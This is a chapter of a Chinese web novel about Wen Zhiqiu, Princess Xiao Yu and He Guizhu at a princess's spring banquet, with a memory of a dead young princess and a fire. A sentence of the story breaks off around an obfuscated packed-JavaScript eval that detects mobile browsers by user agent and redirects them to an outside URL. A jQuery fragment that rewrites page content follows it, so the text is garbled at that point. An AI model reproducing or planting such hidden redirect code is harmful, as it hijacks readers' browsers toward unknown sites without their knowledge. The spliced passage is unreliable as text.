5. 春夜醉白蘋(五)

作品:《山月落

    春风始终温柔地吹拂着京都。


    在人们还未留意时,柳树已然抽芽,盎然的春意席卷了整个京都。


    今日是上巳节,长公主举办了一场盛大的曲水流觞。


    长公主多年深居简出,这倒是这么些年来头一次办如此盛大的宴会。


    “阿姐,你说昭德将军会不会像露白的铜像一般威严?”阿喜拉着闻知秋的手喜滋滋地幻想着。


    闻知秋能带着阿喜来到长公主的宴会当然不是因为她得到长公主的邀请,只是因为她们落雁酒肆的酒得了长公主青眼……或者说有人趁机毛遂自荐。


    “阿喜!”


    闻知秋带着阿喜转头看去,只见一身华服的小鱼,哦不,应该是明阳公主萧妤。


    落雁酒肆是闻知秋和萧妤一起合伙经营,萧妤出钱她出力。


    “小鱼姐姐!”阿喜松开了闻知秋的手,朝萧妤跑去。


    闻知秋赶忙呵斥道:“阿喜,不得无礼,还不向公主殿下赔罪。”


    说着,她也朝萧妤行了一礼。


    萧妤牵上阿喜走到闻知秋面前扶起她,眉头微皱,说话有几分急切和担忧:“知秋,你是不是还在怪我隐瞒身份。


    “我自小在宫中长大,身边人都是冲着我的身份奉承我,只有你是因为我这个人与我相交的。


    “我真的不是刻意隐瞒身份的。”


    闻知秋微微低头,说出口的话滴水不漏:“公主那日向知秋解释时已经说清了,只是今日是长公主的宴会,礼不可废。”


    她撇了一眼四处无人,才笑得狡黠:“万一有人看到了说我不敬公主,那可不好了。”


    “我就知晓知秋最好了,”萧妤这才松了一口气,“你不是说今日不来吗?”


    闻知秋无奈地看了看萧妤牵着的阿喜,阿喜偷偷朝她吐了吐舌头做了一个鬼脸:“还不是她,非缠着我和她一起来,在家又哭又闹的。”


    阿喜才不管那么多,拉着萧妤的手讨好地晃了晃:“小鱼姐姐,能不能带阿喜去远远地瞧瞧昭德将军啊?”


    闻知秋无奈地和萧妤对视一眼,萧妤十分好奇看着阿喜:“阿喜为何这么想见昭德将军呀?”


    阿喜说起长公主萧佳婵时双眸都是敬佩与向往:“我们露白县的小孩子都是听着昭德将军的故事长大的!


    “听闻昭德将军身手了得,一人一枪便能打得戈宁人屁滚尿流的。


    “而且昭德将军为了保护我们露白县,自己在战场上受了重伤,再也不能上战场了。”


    孩童的眼眸里满是崇敬:“阿喜长大了也要成为像昭德将军一样厉害的人!”


    萧妤和闻知秋看着她齐齐笑出了声,萧妤摸了摸她的脑袋:“有你小鱼姐姐在不用你远远地瞧,姐姐带你去找昭德将军说话去!”


    阿喜崇拜地看着萧妤:“小鱼姐姐,你也太厉害了!”


    闻知秋蹲下身子视线和阿喜齐平,抬手为她理了理衣衫和发髻上有些凌乱的丝绦:“还记得阿姐在家是如何教你的吗?”


    “阿姐放心,”阿喜点了点头,又用另一只空闲的手拍了拍系在腰间的香囊,“阿喜一定会守着规矩的,这个香囊阿喜也不会离身的。”


    萧妤看着闻知秋:“知秋不去见见姑母吗?”


    闻知秋连忙摆手:“你知晓的,我散漫惯了,若是冲撞了长公主便不好了。


    “阿喜调皮,还要你多多费心。”


    萧妤拍了拍胸脯:“知秋放心,我让我的婢女跟着你,这样大家即便不认识你也知晓你是我的客人,不会为难你的。”


    闻知秋笑着点点头。


    长公主的别苑很大,闻知秋一早就安排好了今日曲水流觞所用酒水,此刻倒有几分无所事事。


    所有人都在前院饮酒作诗,她打发走了萧妤派给她的婢女,一个人在长公主的别苑里走着,似乎在寻找什么。


    “你在找什么?”贺归渚在她身后冷不丁地出声,倒是吓了闻知秋一跳。


    她转身轻抚着胸口,心有余悸:“你怎么在这?你走路为何没声响?”


    “长公主的宴会当然会邀请我,”他的声音一如曾经的清冷,贺归渚老远就看到她鬼鬼祟祟的样子,“是你太过专心,没有发现我。”


    闻知秋看到他想到什么,神色认真:“听闻杀害王萍的凶手已然伏法,阿晓归乡之事也要多谢你。”


    贺归渚比她高一个头,此刻微微垂着头,还能看到她轻颤的睫毛:“你要如何谢我?”


    “啊?”闻知秋以为他会说“分内之事”、“应该的”之类的场面话,她瞪大了眼睛看着他,“你你你!”


    贺归渚好整以暇地看着她,若是熟悉他的人会发现他此刻眼中有几分不明显的笑意:“怎么了?”


    闻知秋不欲与他争辩,摆摆手:“改日请你吃饭如何?”


    “好啊,”贺归渚满意地点了点头,“你还没说你在找什么?”


    闻知秋以为这就能躲避他方才的提问,却没想到贺归渚此人倒是有些执拗在身上。


    “啊?”她睁大眼睛装傻,“我只是没见过这么华丽的宅子,看得有些入神了而已。”


    “小地方来的,有些粗鄙,大人莫怪。”


    她笑得艳丽明媚,一如贺归渚记忆中的明丽,只是她眼中那一丝心虚还是被他捕捉到了,他微微倾身看向她的眼眸:“你心虚什么?”


    二人的距离极近,贺归渚的面容清晰地落在了她的眼中。


    这其实也只是闻知秋来京都后第二次与他碰面。


    上一次见面在夜晚不仅事态紧急而且还不欢而散,她并没有时间仔细打量他。现下她才注意到贺归渚和两年前有些不一样了。


    她看不透也看不懂。


    闻知秋看天看地看花看草就是不看他:“哈哈,我有什么可心虚的。”


    贺归渚正欲开口却被脆生生的声音打断了:“表哥,原来你在这啊。”


    贺归渚整个身子都挡在闻知秋身前,直到贺归渚转身面朝来人时她才看清了来人的面貌。


    这位姑娘穿着一身湖蓝色衣裙,乌发如墨,一抹淡淡的笑意挂在嘴角,春风吹起了她的衣裙,她就站在那里便是温婉二字的化身。


    贺归渚的声音一如既往的平淡:“何事?”


    少女触及到他的眼神急忙低下了头,可闻知秋还是看到了攀上她面庞的那抹粉红,声音:“长公主在寻表哥,姑母便让明绿来寻寻表哥。”


    闻知秋不待贺归渚开口便道:“王萍之事多谢大人秉公执法,民女告退。”


    她甚至不等贺归渚回话便急急转身离开,她也不知道自己要去哪,只是一味地绕开人多的地方,待她再回神时,却闯入了一个无人的院落。


    似乎有无形的线牵引着她,她不自觉地迈步踏入院落。


    院落中种植着一棵银杏树,在粗壮的树枝上还搭了一座秋千,瞧那木座显然已搭建十余年了。


    不论是房间的门窗还是院内的花草树木都彰显着皇家的富贵,这个院落也很干净,婢女必然是时常认真打扫的,可是闻知秋就是知道这个院落必定是早已荒废多年了。


    因为这个院落没有一点人气。


    这里明明听得到前院的喧哗与热闹,可是这里就是安静寂寥的可怕。


    她抬手抚上那秋千架,甚至能感受到秋千架上一次晃动就是它当初搭建之时。


    “这里是容惠郡主故居。”贺归渚不知什么时候也跟着她到了这里。


    闻知秋对他的到来并不惊讶,声音有几分飘荡:“容惠郡主?长公主的女儿今朝不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111462|164084||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过八岁,似乎还未有封号。”


    贺归渚和她一齐看着这秋千,眼中似乎回忆之色:“容惠郡主是长公主的第一个女儿,那时长公主还在露白与戈宁激战。长公主那些年曾回京过一次,带着容惠郡主便住在这座别苑,这个院落也是容惠郡主当时的居所。


    “那时我朝与戈宁之间战事激烈,长公主常常在宫中与陛下、大臣们商讨国事到很晚,怕女儿孤单便搭了这个秋千架。”


    闻知秋难得没有出言打断他,只是轻轻地问道:“后来呢?”


    “后来?”贺归渚的声音难得出现了一丝波澜,“长公主归京不过三月便又带着容惠郡主返回了露白,几月后长公主打败戈宁,戈宁至今不敢来犯。只是长公主在那场战役中受了重伤,自此久居京都再未能上战场。”


    “因戈宁人偷袭,驸马安榭与容惠郡主死于将军的大火。听闻那火势燃了整整一日一夜才熄。”


    闻知秋侧头看向他:“你对这个秋千倒是知晓得十分清楚。”


    贺归渚:“因为那年我与容惠郡主在此曾有一面之缘,我与她在此打秋千。那是一个秋日,树下堆满了金色树叶,她说她在露白从未见过如此漂亮的景象,她很喜欢京都。


    “她还与我相约在下个秋日一起打秋千,可我们此生也只有那一面之缘。”


    若是贺归渚此刻没有沉湎在回忆里,他应该能注意到闻知秋此刻有几分气息不稳:“你……你还记得她?”


    “当然记得,”也许回忆十分美好,贺归渚的嘴角还有淡淡的笑意,“容惠郡主十分喜欢我的玉佩,我便赠予了她,她也以琥珀回赠。”


    闻知秋看着秋千架不作声,声音不复往日的活泼,有几分沉重:“我见过你说的那场大火,那是我此生见过最大的一场火。


    “那火光点亮了整片夜空,还夹杂着将军府数百人的哀嚎,真是……人间炼狱也不过如此。”


    贺归渚定定地看着闻知秋的侧脸。


    他见过她的很多模样,快乐的、狡黠的、情动的、无奈的,可是他从未见过她现在的模样。


    她今日穿着一身鹅黄色的衣裙,叶隙疏落的碎光洒在她身上,仿佛高座莲台的菩萨般闪着光芒。


    可是她的眼底却像低眉的菩萨一般悲悯与哀痛。


    贺归渚只觉得此刻的闻知秋离他非常远,似乎下一刻就要消散不见。


    他甚至觉得自己从未真正认识过闻知秋,他们曾经的一切都仿佛是她为他造了一场纷乱零碎的梦。


    他必须做点什么来确认——她在这里,她不会离开。


    他这么想着也这么做了,他轻柔地拉上她的手腕,很突兀地开口:“方才的女子明绿只是我表妹。”


    闻知秋只是垂下了眼眸:“贺大人,她和你很是般配。


    “放手吧。”


    贺归渚只觉得心中又委屈又愤怒:“闻知秋!”


    她仿佛没有感知到他的情绪,抬起头闯进他的眼眸,笑得明媚艳丽,贺归渚甚至怀疑他看到的她眼中的悲悯与哀痛是他的错觉。


    “方才那是丞相家的王二小姐吧,听闻她性情温婉、秀外慧中。你们二人不论是家世、容貌还是性情真是相配。


    “若是他日成亲记得照顾我们落雁酒肆的生意啊!”


    贺归渚不自觉加大手上的力气:“所以你自始至终都是把我当作替身是吗?”


    闻知秋有几分疑惑:“什么?”


    贺归渚声音有几分嘶哑,一字一顿地问道:“你是为了‘阿昀’离开我的吗?‘阿昀’是谁?”


    闻知秋完全没想到会从他的口中听到这个名字,不自觉涌上泪意,她双眸清亮、笑得温柔,可说出的话却像刀子一样残忍地割在贺归渚的心口:“是啊,我是因为‘阿昀’才离开你的。”